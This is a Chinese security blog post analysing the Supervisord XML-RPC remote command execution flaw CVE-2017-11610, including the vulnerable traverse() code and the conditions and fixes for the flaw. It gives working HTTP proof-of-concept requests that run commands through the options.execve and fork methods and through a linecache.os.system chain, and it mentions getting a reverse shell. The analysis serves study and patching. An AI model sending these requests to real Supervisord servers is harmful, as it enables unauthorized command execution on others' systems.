前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Supervisord远程命令执行漏洞(CVE-2017-11610)

Supervisord远程命令执行漏洞(CVE-2017-11610)

作者头像
phith0n
发布2020-10-15 11:32:28
1.3K0
发布2020-10-15 11:32:28
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

前几天Supervisord出现了一个需认证的远程命令执行漏洞(CVE-2017-11610),在对其进行分析以后,将靶场加入了Vulhub豪华套餐: https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610

Supervisord

Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

我觉得它相比Systemd有几个特点:

  1. 配置比较简单
  2. 一个简单的第三方应用,与系统没有耦合
  3. 提供HTTP API,支持远程操作

所以,我之前把他用来跑一些Web应用。

Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。

查看Supervisord的配置文件可知,默认情况下,Server端监听在unix套接字unix:///tmp/supervisor.sock上,而Client配置的serverurl也是这个地址:

代码语言:javascript
复制
[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

所以,Client端去连接配置文件中的serverurl的地址,并与其使用RPC协议(基于HTTP协议)通信。比如我们平时常用的命令(启动名为web的服务):supervisorctl start web,看下其数据包:

其实很简单的协议,通过XML,将methodName和params通过HTTP协议传给服务端进行执行。start命令执行的是supervisor.startProcess方法,仅有一个参数就是服务的名称。

另外,如果我设置了[inet_http_server]段,即可将Supervisord监听在TCP端口上,这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉,就默认监听在9001端口上了。

漏洞分析

CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。

在上一章中我说了,Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system),那么就会导致漏洞的产生。

一个安全的RPC协议,会有一个函数名的映射,也就是说C端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。

而我们来看看3.3.2版本中Supervisord是如何处理RPC调用的:

代码语言:javascript
复制
class supervisor_xmlrpc_handler(xmlrpc_handler):
    ...

    def call(self, method, params):
        return traverse(self.rpcinterface, method, params)

def traverse(ob, method, params):
    path = method.split('.')
    for name in path:
        if name.startswith('_'):
            # security (don't allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

supervisor_xmlrpc_handlerl类用于处理RPC请求,其call方法就是真正执行远程调用的函数。在call方法中调用了traverse函数,跟进这个函数,我们发现他的逻辑是这样:

  1. 将method用点号分割成数组path
  2. 遍历这个数组,每次获得一个name
  3. 如果name不以下划线开头,则获取ob对象的name属性,其作为新的ob对象
  4. 遍历完成后获得最终的ob对象,调用之

所以,实际上这个函数最后达成的效果就是:初始ob对象下的任意public方法,包括它的所有递归子对象的任意public方法,都可以被调用。

而此处,ob对象即为self.rpcinterface,官方开发者可能认为可调用的方法只限制在这个对象内部,所以没有做特别严格的白名单限制。

而CVE-2017-11610的发现者发现,在self.rpcinterface.supervisor.supervisord.options对象下,有一个方法execve,其相当于直接调用了系统的os.execve函数,是可以直接执行任意命令的:

代码语言:javascript
复制
class ServerOptions(Options):
    ...    
    def execve(self, filename, argv, env):
        return os.execve(filename, argv, env)

所以,最后给出利用POC(RPC协议如何构造数据包、XML是什么格式,这个可以自己去看看文档):

代码语言:javascript
复制
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>

POC缺陷与改进

当然,漏洞发现者找到的这个self.rpcinterface.supervisor.supervisord.options.execve其实不是那么好用,原因是,Python的os.execve函数会使用新进程取代现有的进程。也就是说,这里会导致Supervisord本身退出。

基于Docker容器的Supervisord(如Vulhub里这个靶场),如果基础进程Supervisord被退出,那么将导致整个容器被退出,即使我们执行了任意命令,我们获得的权限也是转瞬即逝的。

另外,即使非Docker环境,我们在测试漏洞的过程中影响到了线上业务,这个后果是无法估量的,所以我们必须想其他方法来稳定的利用漏洞。

我说两个方法。

法一、先Fork一个新进程

同样在self.rpcinterface.supervisor.supervisord.options对象中,有一个fork方法,是调用了系统的os.fork函数。

os.fork函数的作用就是根据当前进程,派生一个新的子进程。所以,即使当前进程被意外结束了,也不会导致Supervisord服务终止,因为派生的进程还留存着。

所以,先发送如下数据包即可派生新进程:

代码语言:javascript
复制
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>

然后再发送之前的POC即可。

但这个方法还是会影响Docker容器。

法二、找寻其他利用链

这个漏洞和一些反序列化漏洞类似,都是去找到一个不安全的对象。那么,除了原作者给出的self.rpcinterface.supervisor.supervisord.options.execve(),是不是还可以找到其他更好用的利用链呢?

通过一系列调试,我找到了一个利用链:supervisor.supervisord.options.warnings.linecache.os.system(),其实目的很简单,就是想方设法找到非下划线开头的属性中,是否有引用os模块。linecache中引用了os模块:

所以,构造如下数据包:

代码语言:javascript
复制
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

即可直接执行任意命令。如,反弹shell:

漏洞影响与修复

出现这个漏洞,一般有几个条件:

  1. Supervisord版本在受影响的范围内
  2. RPC端口可被访问
  3. RPC无密码或密码脆弱

第二个条件其实不太容易达到。默认安装的Supervisord,是只监听unix套接字的,所以外部IP根本无法访问。

另外,如果你已经拿到了一台机器的低权限,想访问本地的unix套接字,利用该漏洞提权,也是不现实的:原因是supervisord.sock文件权限默认是0700,其他用户无法访问,能够访问的用户权限和它是一样的,也就不存在提权的说法了。

当然,如果运维同学不小心将RPC端口开放了,并且使用了默认密码或没有设置密码,那么借助这个漏洞进行攻击,也是很不错的。

如何修复这个漏洞?

  1. 升级Supervisord
  2. 端口访问控制
  3. 设置复杂RPC密码
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Supervisord
  • 漏洞分析
  • POC缺陷与改进
    • 法一、先Fork一个新进程
      • 法二、找寻其他利用链
      • 漏洞影响与修复
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档